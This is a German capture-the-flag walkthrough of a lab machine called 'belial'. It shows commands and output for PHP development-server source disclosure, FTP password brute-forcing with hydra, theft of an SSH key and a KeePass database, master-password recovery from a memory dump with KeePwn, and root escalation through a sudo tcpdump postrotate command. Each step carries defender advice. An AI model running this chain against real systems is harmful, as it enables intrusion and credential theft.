$SERVER['REMOTE_ADDR']	192.168.2.199
$SERVER['REMOTE_PORT']	47152
$SERVER['SERVER_SOFTWARE']	PHP 7.4.21 Development Server
$SERVER['SERVER_PROTOCOL']	HTTP/1.1
$SERVER['SERVER_NAME']	0.0.0.0
$SERVER['SERVER_PORT']	8090
$SERVER['REQUEST_URI']	/info.php
$SERVER['REQUEST_METHOD']	GET
$SERVER['SCRIPT_NAME']	/info.php
$SERVER['SCRIPT_FILENAME']	/var/www/html/info.php
$SERVER['PHP_SELF']	/info.php
$SERVER['HTTP_HOST']	belial.nyx:8090
[...]
$ENV['PHP_EXTRA_CONFIGURE_ARGS']	--enable-maintainer-zts --disable-cgi
[...]
$ENV['PHP_VERSION']	7.4.21
[...]

Analyse: Die Ausgabe von `phpinfo()` (aufgerufen über `info.php`) liefert detaillierte Informationen über die PHP-Konfiguration (Version 7.4.21), das System (Linux Kernel 5.19 Ubuntu), Server-Variablen (`$SERVER`) und Umgebungsvariablen (`$ENV`). Wichtige Infos sind der `DOCUMENT_ROOT` (`/var/www/html`) und die PHP-Version.

Bewertung: Liefert wertvolle System- und Konfigurationsdetails. Die PHP-Version 7.4.21 ist bekannt für eine Source Code Disclosure Schwachstelle im Development Server unter bestimmten Umständen.

Empfehlung (Pentester): Recherchieren Sie die Source Code Disclosure Schwachstelle für PHP 7.4.21 (CVE-2019-11043 ist verwandt, aber hier geht es um den Dev Server). Versuchen Sie, diese auszunutzen, um den Quellcode von `secret.php` und anderen Skripten zu lesen.
Empfehlung (Admin): Verwenden Sie niemals den PHP Development Server in einer Produktiv- oder zugänglichen Umgebung. Deaktivieren Sie `phpinfo()`.

Source Code Disclosure & Parameter Discovery

Analyse: Burp Suite wird verwendet, um die vermutete Source Code Disclosure Schwachstelle im PHP 7.4.21 Development Server auszunutzen. Ein spezieller Request (GET /a.a HTTP/1.1 nach dem eigentlichen GET /secret.php) wird gesendet.

Bewertung: Der Exploit ist erfolgreich! Die Antwort enthält den Quellcode von `secret.php`. Der Code prüft, ob ein sehr langer, spezifischer Request-Parameter (`fbd94d...`) gesetzt ist. Wenn ja, gibt er den Inhalt der Datei `/root/secret.txt` aus.

Empfehlung (Pentester): Verwenden Sie den gefundenen Parameter, um den Inhalt von `/root/secret.txt` auszulesen (`curl "http://belial.nyx:8090/secret.php?fbd94d...=/root/secret.txt"`). Dies könnte das Passwort für `kohanic` oder andere wichtige Informationen enthalten.
Empfehlung (Admin): Aktualisieren Sie PHP dringend oder, besser noch, verwenden Sie einen produktionsreifen Webserver (wie Apache oder Nginx mit PHP-FPM) anstelle des Development Servers.

: Burpsuite :

:Request:

GET /secret.php HTTP/1.1
Host: belial.nyx:8090
[...]

:Response:

HTTP/1.1 200 K
[...]
Hello Kohanic,
If you've made it this far, it's clear that you're already one step away from find
ing your reward!

[...]

:Request: <-- Exploit Request

GET /secret.php HTTP/1.1
Host: belial.nyx:8090

GET /a.a HTTP/1.1 <-- Trigger für Source Disclosure

:Response: <-- Source Code wird zurückgegeben

HTTP/1.1 200 K
Host: belial.nyx:8090
Date: Tue, 10 Sep 2024 22:52:39 GMT
Connection: close
Content-Length: 412



if (!isset($REQUEST['fbd94d1aa64007cbb89b9c0156ac23edba23f7fd57b2d765e4e88712ee642739'])) { <-- Langer Parametername!
die();
} else {
echo file_get_contents('/root/secret.txt'); <-- Liest Datei als root!
}
?>
┌──(root㉿CCat)-[~] └─# curl "http://belial.nyx:8090/secret.php?fbd94d1aa64007cbb89b9c0156ac23edba23f7fd57b2d765e4e88712ee642739=/root/secret.txt" -s

Yours sincerely,
Gelal
Fugitive, witch-doctor, born in an impoverished stable
Could this flimsy child truly be the predicted scepter?

Balaam’s prophecy, Judah’s predictions
Artificial pages of an unearthly fetish
Interpreter of the Torah
Worshipped by the Magi of Arabia

Hobo of Aramaic Tongues

Analyse: Der Angreifer verwendet den im Quellcode gefundenen langen Parameter, um `secret.php` aufzurufen und den Inhalt von `/root/secret.txt` auszulesen. Die Datei enthält einen Gedicht-/Liedtext.

Bewertung: Die Fähigkeit, Dateien als Root zu lesen, ist kritisch, auch wenn der Inhalt hier kryptisch erscheint. Der Text könnte ein Hinweis auf ein Passwort sein.

Empfehlung (Pentester): Analysieren Sie den Text. Erstellen Sie eine Wortliste aus den Wörtern des Textes und verwenden Sie diese, um das Passwort für den Benutzer `kohanic` (der auf dem FTP-Server gefunden wurde) zu bruteforcen.
Empfehlung (Admin): Beheben Sie die Source Code Disclosure Schwachstelle und die dahinterliegende unsichere Dateilesefunktion. Überprüfen Sie den Inhalt von `/root/secret.txt`.

Credential Access (FTP & KeePass)

┌──(root㉿CCat)-[~] └─# cat passforbelial| tr " " "\n" | tr -d "," > passwort

Analyse: Der Text aus `/root/secret.txt` (vermutlich in der Datei `passforbelial` gespeichert) wird verarbeitet: Leerzeichen werden durch Zeilenumbrüche ersetzt (`tr " " "\n"`), Kommas werden entfernt (`tr -d ","`), und das Ergebnis wird in die Datei `passwort` geschrieben. Dies erstellt eine Wortliste aus dem Gedicht.

Bewertung: Korrekte Vorbereitung einer benutzerdefinierten Wortliste für den Passwort-Angriff.

┌──(root㉿CCat)-[~] └─# hydra -l kohanic -P passwort ftp://belial.nyx -s 2121 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-11 01:03:27
[DATA] max 64 tasks per 1 server, overall 64 tasks, 67 login tries (l:1/p:67), ~2 tries per task
[DATA] attacking ftp://belial.nyx:2121/
[2121][ftp] host: belial.nyx login: kohanic password: witch-doctor
1 password found for 1 account

Analyse: Hydra wird verwendet, um das Passwort für den FTP-Benutzer `kohanic` auf Port 2121 zu bruteforcen, wobei die zuvor erstellte Wortliste `passwort` verwendet wird.

Bewertung: Erfolg! Hydra findet das Passwort `witch-doctor` für den Benutzer `kohanic`.

Empfehlung (Pentester): Melden Sie sich als `kohanic` mit dem gefundenen Passwort am FTP-Server an und untersuchen Sie dessen Home-Verzeichnis genauer.
Empfehlung (Admin): Verwenden Sie keine Passwörter, die aus leicht zugänglichen Texten abgeleitet werden können. Erzwingen Sie starke, komplexe Passwörter.

┌──(root㉿CCat)-[~] └─# ftp 192.168.2.118 2121
Connected to 192.168.2.118.
220 Blessed are those of the left-hand path!
Name (192.168.2.118:ccat): kohanic
331 Please specify the password.
Password: witch-doctor <-- Passwort eingegeben
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||60006|)
150 Here comes the directory listing.
drwxr-xr-x    6 1001     1001         4096 Jul 19  2023 .
drwxr-xr-x    4 0        0            4096 Jul 14  2023 ..
lrwxrwxrwx    1 1001     1001            9 Jul 17  2023 .bash_history -> /dev/null
-rw-r--r--    1 1001     1001          220 Oct 07  2022 .bash_logout
-rw-r--r--    1 1001     1001         3771 Oct 07  2022 .bashrc
drwxrwxr-x    2 1001     1001         4096 Jul 14  2023 .cache
drwxrwxr-x    3 1001     1001         4096 Jul 14  2023 .local
-rw-r--r--    1 1001     1001          807 Oct 07  2022 .profile
drwxrwxr-x    2 1001     1001         4096 Jul 17  2023 .ssh
-rw-rw-r--    1 1001     1001          215 Jul 18  2023 .wget-hsts
drwxrwxr-x    2 1001     1001         4096 Jul 17  2023 DB
226 Directory send K.

Analyse: Erfolgreicher FTP-Login als `kohanic` mit dem Passwort `witch-doctor`. Das Home-Verzeichnis enthält ein `.ssh`-Verzeichnis und ein Verzeichnis `DB`.

Bewertung: Bestätigt das Passwort. Die Verzeichnisse `.ssh` und `DB` sind die nächsten interessanten Ziele.

Empfehlung (Pentester): Untersuchen Sie den Inhalt von `.ssh` (insbesondere private Schlüssel) und `DB`.

ftp> cd .ssh
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||7870|)
150 Here comes the directory listing.
drwxrwxr-x    2 1001     1001         4096 Jul 17  2023 .
drwxr-xr-x    6 1001     1001         4096 Jul 19  2023 ..
-rw-r--r--    1 1001     1001          568 Jul 17  2023 authorized_keys
-rw-------    1 1001     1001         2655 Jul 17  2023 id_rsa <-- Privater Schlüssel!
226 Directory send K.
ftp> put authorized_keys
<-- Versuch, eigenen Key hochzuladen
local: authorized_keys remote: authorized_keys
229 Entering Extended Passive Mode (|||53315|)
550 Permission denied.
ftp> get id_rsa
local: id_rsa remote: id_rsa
229 Entering Extended Passive Mode (|||40148|)
150 Opening BINARY mode data connection for id_rsa (2655 bytes).
100% |***********************************|  2655        4.81 MiB/s    00:00 ETA
226 Transfer complete.
2655 bytes received in 00:00 (3.18 MiB/s)

Analyse: Im `.ssh`-Verzeichnis wird ein privater Schlüssel `id_rsa` gefunden. Der Versuch, eine eigene `authorized_keys`-Datei hochzuladen, scheitert an fehlenden Schreibrechten. Der private Schlüssel `id_rsa` wird erfolgreich heruntergeladen.

Bewertung: Kritischer Fund! Der private SSH-Schlüssel von `kohanic` wurde erbeutet. Dies ermöglicht potenziell den SSH-Login als `kohanic`, falls der Schlüssel unverschlüsselt ist oder die Passphrase erraten/geknackt werden kann.

Empfehlung (Pentester): Versuchen Sie, sich mit dem heruntergeladenen Schlüssel per SSH anzumelden. Prüfen Sie mit `ssh2john`, ob er passwortgeschützt ist.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzer keine Schreibrechte auf das `.ssh`-Verzeichnis oder `authorized_keys` anderer Benutzer haben. Private Schlüssel sollten niemals über FTP zugänglich sein.

ftp> cd DB
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||26591|)
150 Here comes the directory listing.
drwxrwxr-x    2 1001     1001         4096 Jul 17  2023 .
drwxr-xr-x    6 1001     1001         4096 Jul 19  2023 ..
-rw-rw-r--    1 1001     1001         4110 Jul 17  2023 Database.kdbx <-- KeePass-Datenbank!
-rw-rw-r--    1 1001     1001     304893561 Jul 17  2023 KeePass.DMP <-- Speicherabbild!
226 Directory send K.
ftp> get Database.kdbx
local: Database.kdbx remote: Database.kdbx
229 Entering Extended Passive Mode (|||11430|)
150 Opening BINARY mode data connection for Database.kdbx (4110 bytes).
100% |***********************************|  4110       11.59 MiB/s    00:00 ETA
226 Transfer complete.
4110 bytes received in 00:00 (6.56 MiB/s)
ftp> get KeePass.DMP
local: KeePass.DMP remote: KeePass.DMP
229 Entering Extended Passive Mode (|||28859|)
150 Opening BINARY mode data connection for KeePass.DMP (304893561 bytes).
100% |***********************************|   290 MiB  251.85 MiB/s    00:00 ETA
226 Transfer complete.
304893561 bytes received in 00:01 (251.81 MiB/s)
ftp>
<-- Beendet

Analyse: Im Verzeichnis `DB` werden zwei sehr interessante Dateien gefunden: `Database.kdbx` (eine KeePass-Passwortdatenbank) und `KeePass.DMP` (ein großes Speicherabbild, wahrscheinlich von KeePass). Beide Dateien werden heruntergeladen.

Bewertung: Äußerst kritische Funde! Die KeePass-Datenbank enthält wahrscheinlich sensible Passwörter. Das Speicherabbild könnte das Master-Passwort für die Datenbank im Klartext enthalten, wenn KeePass zum Zeitpunkt des Abbilds lief und das Passwort im Speicher war.

Empfehlung (Pentester): Verwenden Sie Tools wie `keepassxc` oder spezialisierte Skripte (wie das später verwendete KeePwn), um das Speicherabbild (`KeePass.DMP`) nach dem Master-Passwort zu durchsuchen. Versuchen Sie dann, die `Database.kdbx` mit dem gefundenen Master-Passwort zu öffnen.
Empfehlung (Admin): Speichern Sie niemals Passwort-Datenbanken oder Speicherabbilder auf öffentlich zugänglichen Servern, insbesondere nicht über FTP. Verwenden Sie starke Master-Passwörter für Passwort-Manager. Aktivieren Sie ggf. Funktionen, die das Passwort aus dem Speicher löschen.

Analyse: Ein Python-Skript (`poc.py`, wahrscheinlich Teil des KeePwn-Tools oder ein ähnliches Skript) wird verwendet, um das Speicherabbild `KeePass.DMP` zu analysieren. Es findet mehrere potenzielle Passwort-Kandidaten.

Bewertung: Zeigt, dass das Master-Passwort oder Fragmente davon im Speicherabbild vorhanden waren. Das Skript findet mehrere Variationen, was auf eine mögliche Unsicherheit bei der Extraktion hindeutet.

Empfehlung (Pentester): Verwenden Sie ein robustes Tool wie KeePwn, um die Kandidaten zu verfeinern und gegen die `.kdbx`-Datei zu testen.

┌──(root㉿CCat)-[~/Hackingtools/keepasscracker] └─# python3 poc.py ~/KeePass.DMP
2024-09-11 01:12:36,101 [.] [main] Opened /root/KeePass.DMP
Possible password: uP3r-S#cR3+213!
Possible password: CP3r-S#cR3+213!
Possible password: AP3r-S#cR3+213!
Possible password: )P3r-S#cR3+213!
Possible password: HP3r-S#cR3+213!
Possible password: oP3r-S#cR3+213!
Possible password:  P3r-S#cR3+213!
Possible password: ,P3r-S#cR3+213!
Possible password: LP3r-S#cR3+213!
Possible password: 7P3r-S#cR3+213!
Possible password: %P3r-S#cR3+213!

Analyse: Das Tool KeePwn wird von GitHub geklont und die Abhängigkeit `pykeepass` installiert. Anschließend wird KeePwn verwendet, um das Speicherabbild (`KeePass.DMP`) zu parsen und die gefundenen Passwortkandidaten gegen die KeePass-Datenbank (`Database.kdbx`) zu bruteforcen.

Bewertung: KeePwn findet erfolgreich das korrekte Master-Passwort: `SuP3r-S#cR3+213!`.

Empfehlung (Pentester): Öffnen Sie `Database.kdbx` mit KeePassXC oder einem ähnlichen Tool und dem gefundenen Master-Passwort. Extrahieren Sie die darin gespeicherten Zugangsdaten.
Empfehlung (Admin): - (Sicherheitslücke bereits identifiziert)

┌──(root㉿CCat)-[~/Hackingtools/KeePwn] └─# python3 KeePwn.py parse_dump --dump_file ~/KeePass.DMP --bruteforce ~/Database.kdbx
KeePwn v0.4 - by Julien BEDEL (@d3lb3_)

[*] Searching for the master password in memory dump.. done!
[*] Found 16 candidates:
     _P3r-S#cR3+213!
     [...] <-- Kandidatenliste
     _%P3r-S#cR3+213!

[ ] Bruteforcing missing symbol with the 254 most common unicode characters..S
[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!

[+] Database.kdbx successfully unlocked using master password SuP3r-S#cR3+213!

Analyse: Die KeePass-Datenbank wird auf einem Windows-PC mit dem gefundenen Master-Passwort geöffnet. Sie enthält einen Eintrag für `belial` mit dem Benutzernamen `kohanic`. Das Passwortfeld ist leer, aber es gibt einen Anhang `id_rsa` und ein zusätzliches Passwort im Notizfeld (oder einem benutzerdefinierten Feld): `FYIo$KL%waFs`.

Bewertung: Die Datenbank enthält die Passphrase für den zuvor heruntergeladenen privaten SSH-Schlüssel `id_rsa` von `kohanic`.

Empfehlung (Pentester): Verwenden Sie nun den heruntergeladenen `id_rsa`-Schlüssel zusammen mit der Passphrase `FYIo$KL%waFs`, um sich per SSH als `kohanic` anzumelden.
Empfehlung (Admin): Speichern Sie Passphrasen nicht im Klartext in den Notizen von Passwort-Managern. Verwenden Sie die dedizierten Passwortfelder.

Windows PC: "C:\Users\DarkSpirit\Desktop\Neue Downloads\15. Gemeinsam\Database.kdbx"
Keepass App:

Group: General, Title: belial, User Name: kohanic, Password: ,
URL: ssh://kohanic@belial - ssh://{USERNAME}@{TITLE}, Attachments: id_rsa,
Notes: FYIo$KL%waFs <-- Passphrase!
Creation Time: 17.07.2023 15:39:53, Last Modification Time: 17.07.2023 16:13:19

Initial Access (SSH)

┌──(root㉿CCat)-[~] └─# chmod 600 id_rsa

Analyse: Die Berechtigungen für den heruntergeladenen privaten Schlüssel `id_rsa` werden auf 600 gesetzt.

Bewertung: Korrekte Vorbereitung für die SSH-Verbindung.

┌──(root㉿CCat)-[~] └─# ssh kohanic@192.168.2.118 -i id_rsa
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[...] Host key verification failed.

Analyse: Der erste SSH-Login-Versuch schlägt fehl, weil sich der Host-Key des Servers geändert hat (oder zum ersten Mal verbunden wird und eine alte, inkompatible Zeile in `known_hosts` existiert).

Bewertung: Standard-SSH-Sicherheitswarnung.

┌──(root㉿CCat)-[~] └─# ssh-keygen -f '/root/.ssh/known_hosts' -R '192.168.2.118'
# Host 192.168.2.118 found: line 36
/root/.ssh/known_hosts updated.
Original contents retained as /root/.ssh/known_hosts.old

Analyse: Der alte Host-Key-Eintrag für `192.168.2.118` wird aus der lokalen `known_hosts`-Datei entfernt.

Bewertung: Notwendiger Schritt, um die Verbindung zu ermöglichen.

┌──(root㉿CCat)-[~] └─# ssh kohanic@192.168.2.118 -i id_rsa
The authenticity of host '192.168.2.118 (192.168.2.118)' can't be established.
ED25519 key fingerprint is SHA256:ee[...]0f. <-- Fingerprint gekürzt
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.118' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa': FYIo$KL%waFs <-- Passphrase eingegeben
kohanic@belial:~$ id
uid=1001(kohanic) gid=1001(kohanic) groups=1001(kohanic)

Analyse: Der SSH-Login wird erneut versucht. Der neue Host-Key wird akzeptiert. Die aus KeePass extrahierte Passphrase `FYIo$KL%waFs` wird eingegeben. Der Login ist erfolgreich, und der Angreifer erhält eine Shell als Benutzer `kohanic`.

Bewertung: Initial Access erfolgreich abgeschlossen!

Empfehlung (Pentester): Beginnen Sie mit der Enumeration als `kohanic`, insbesondere `sudo -l`.
Empfehlung (Admin): Überwachen Sie SSH-Logins. Stellen Sie sicher, dass private Schlüssel und deren Passphrasen sicher gehandhabt werden.

Privilege Escalation (Root)

kohanic@belial:~$ sudo -l
Matching Defaults entries for kohanic on belial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User kohanic may run the following commands on belial:
    (root) NOPASSWD: /usr/bin/tcpdump

Analyse: `sudo -l` für `kohanic` zeigt, dass dieser Benutzer `/usr/bin/tcpdump` als `root` ohne Passwort (`NOPASSWD`) ausführen darf.

Bewertung: Kritischer Fund! `tcpdump` kann, insbesondere wenn es mit bestimmten Optionen als `root` ausgeführt wird, zur Privilege Escalation missbraucht werden. GTFOBins listet eine bekannte Methode hierfür.

Empfehlung (Pentester): Nutzen Sie die auf GTFOBins beschriebene `tcpdump`-Methode zur Privilege Escalation. Diese involviert normalerweise das Schreiben eines Befehls in eine temporäre Datei und die Ausführung dieser Datei über die `-z postrotate-command` Option von `tcpdump`.
Empfehlung (Admin): Gewähren Sie niemals `sudo`-Rechte für Netzwerk-Sniffer wie `tcpdump` ohne Passwort an normale Benutzer. Diese können fast immer zur Eskalation oder zum Abhören sensibler Daten missbraucht werden.

Proof of Concept (Root Exploit)

Analyse: Der folgende Abschnitt demonstriert die Ausnutzung der `sudo`-Regel für `tcpdump` zur Erlangung von Root-Rechten. Die Methode basiert auf der GTFOBins-Technik für `tcpdump` mit `-z` Option.

  1. Ein Befehl, der eine Root-Shell starten soll (`/bin/bash -p`, `-p` versucht, Root-Rechte beizubehalten), wird in die Variable `COMMAND` gespeichert.
  2. Eine temporäre Datei wird mit `mktemp` erstellt.
  3. Der Befehl aus `COMMAND` wird in die temporäre Datei geschrieben.
  4. Die temporäre Datei wird ausführbar gemacht (`chmod +x`).
  5. `sudo tcpdump` wird mit spezifischen Optionen als `root` ausgeführt:
    • `-ln`: Keine Namensauflösung, Zeilenpufferung.
    • `-i lo`: Lausche auf dem Loopback-Interface.
    • `-w /dev/null`: Schreibe Pakete ins Nichts (wir wollen keine Pakete speichern).
    • `-W 1 -G 1`: Rotiere die Ausgabedatei nach 1 Sekunde und behalte nur 1 Datei (erzwingt die Ausführung des Postrotate-Befehls schnell).
    • `-z $TF`: Führe den Inhalt der temporären Datei (`$TF`) als Postrotate-Befehl aus, nachdem die (nicht existierende) Ausgabedatei rotiert wurde.
    • `-Z root`: Führe den Postrotate-Befehl als Benutzer `root` aus.
  6. Da `-z $TF` als `root` ausgeführt wird, wird der Inhalt von `$TF` (also `/bin/bash -p`) als `root` gestartet, was dem Angreifer eine Root-Shell gibt.

Bewertung: Erfolgreiche Ausnutzung der `sudo`-Fehlkonfiguration mittels einer bekannten Technik. Dies führt zur vollständigen Kompromittierung des Systems.

Empfehlung (Pentester): Root-Zugriff erlangt. Flags suchen.
Empfehlung (Admin): Entfernen Sie die unsichere `sudo`-Regel für `tcpdump`. Überprüfen Sie alle `sudo`-Regeln sorgfältig.

kohanic@belial:~$ COMMAND='/bin/bash -p'
kohanic@belial:~$ TF=$(mktemp)
kohanic@belial:~$ echo "$COMMAND" > $TF
kohanic@belial:~$ chmod +x $TF
kohanic@belial:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
2 packets received by filter
0 packets dropped by kernel
#  whoami <-- Root-Shell erhalten!
root

Flags

cat /home/kohanic/user.txt
a1617ca7d069c13ee365471dec5a389c
cat /root/root.txt
390a25fd99cfb340eff6c51665109e52